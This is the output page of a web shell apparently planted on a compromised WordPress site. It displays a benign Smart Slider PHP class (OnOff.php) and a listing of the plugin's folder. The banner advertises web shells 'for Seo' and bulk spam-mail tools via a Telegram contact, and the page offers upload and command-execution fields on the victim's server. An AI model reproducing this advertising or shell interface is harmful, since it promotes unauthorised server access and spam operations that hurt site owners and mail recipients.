__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Nextend\Framework\Form\Element;

use Nextend\Framework\Asset\Js\Js;

class OnOff extends AbstractFieldHidden {

    protected $relatedFieldsOn = array();

    protected $relatedAttribute = '';

    protected $values = array(
        0 => 0,
        1 => 1
    );

    protected $customValues = false;

    protected function fetchElement() {

        $html = '<div class="n2_field_onoff' . $this->isOn() . '" role="switch" aria-checked="false" tabindex="0" aria-label="' . $this->label . '">' . parent::fetchElement() . '<div class="n2_field_onoff__slider"><div class="n2_field_onoff__slider_bullet"></div></div><div class="n2_field_onoff__labels"><div class="n2_field_onoff__label n2_field_onoff__label_off">' . n2_('Off') . '</div><div class="n2_field_onoff__label n2_field_onoff__label_on">' . n2_('On') . '</div></div></div>';

        $options = array();

        if ($this->customValues) {
            $options['values'] = $this->customValues;
        }
        if (!empty($this->relatedFieldsOff)) {
            $options['relatedFieldsOff'] = $this->relatedFieldsOff;
        }
        if (!empty($this->relatedFieldsOn)) {
            $options['relatedFieldsOn'] = $this->relatedFieldsOn;
        }
        if (!empty($this->relatedAttribute)) {
            $options['relatedAttribute'] = $this->relatedAttribute;
        }

        Js::addInline('new _N2.FormElementOnoff("' . $this->fieldID . '", ' . json_encode($options) . ');');

        return $html;
    }

    private function isOn() {
        $value = $this->getValue();
        if (($this->customValues && $this->customValues[$value]) || (!$this->customValues && $value)) {
            return ' n2_field_onoff--on';
        }

        return '';
    }

    /**
     * @param array $relatedFields
     */
    public function setRelatedFieldsOn($relatedFields) {
        $this->relatedFieldsOn = $relatedFields;
    }

    /**
     * @param array $relatedFields
     */
    public function setRelatedFieldsOff($relatedFields) {
        $this->relatedFieldsOff = $relatedFields;
    }

    public function setRelatedAttribute($relatedAttribute) {
        $this->relatedAttribute = $relatedAttribute;
    }

    public function setCustomValues($offValue = 0, $onValue = 1) {

        if ($offValue === 0 && $onValue === 1) {
            $this->customValues = false;
        } else {
            $this->customValues            = array();
            $this->customValues[$offValue] = 0;
            $this->customValues[$onValue]  = 1;
        }
    }

    public function setInvert($isInvert) {
        if ($isInvert) {
            $this->setCustomValues(1, 0);
        } else {
            $this->setCustomValues(0, 1);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Button Folder 0775
Group Folder 0775
Hidden Folder 0775
Message Folder 0775
MixedField Folder 0775
Radio Folder 0775
Select Folder 0775
Text Folder 0775
Textarea Folder 0775
AbstractChooser.php File 1.58 KB 0664
AbstractChooserText.php File 2.09 KB 0664
AbstractFieldHidden.php File 979 B 0664
Breakpoint.php File 2.96 KB 0664
Button.php File 1.41 KB 0664
CheckboxOnOff.php File 1.63 KB 0664
Connected.php File 554 B 0664
Decoration.php File 1.73 KB 0664
Devices.php File 1.32 KB 0664
EmptyArea.php File 303 B 0664
Font.php File 1.51 KB 0664
Gap.php File 2.08 KB 0664
Grouping.php File 877 B 0664
Hidden.php File 396 B 0664
IconTab.php File 2.6 KB 0664
LayerWindowFocus.php File 1.6 KB 0664
MarginPadding.php File 2.09 KB 0664
Message.php File 557 B 0664
MixedField.php File 1.87 KB 0664
OnOff.php File 2.65 KB 0664
Radio.php File 1.76 KB 0664
RichTextarea.php File 1.71 KB 0664
Select.php File 4.53 KB 0664
SelectIcon.php File 1.68 KB 0664
Style.php File 2.17 KB 0664
Tab.php File 1.7 KB 0664
Text.php File 2.23 KB 0664
Textarea.php File 1.5 KB 0664
Token.php File 196 B 0664
Unit.php File 1.41 KB 0664
Upload.php File 1.01 KB 0664
Filemanager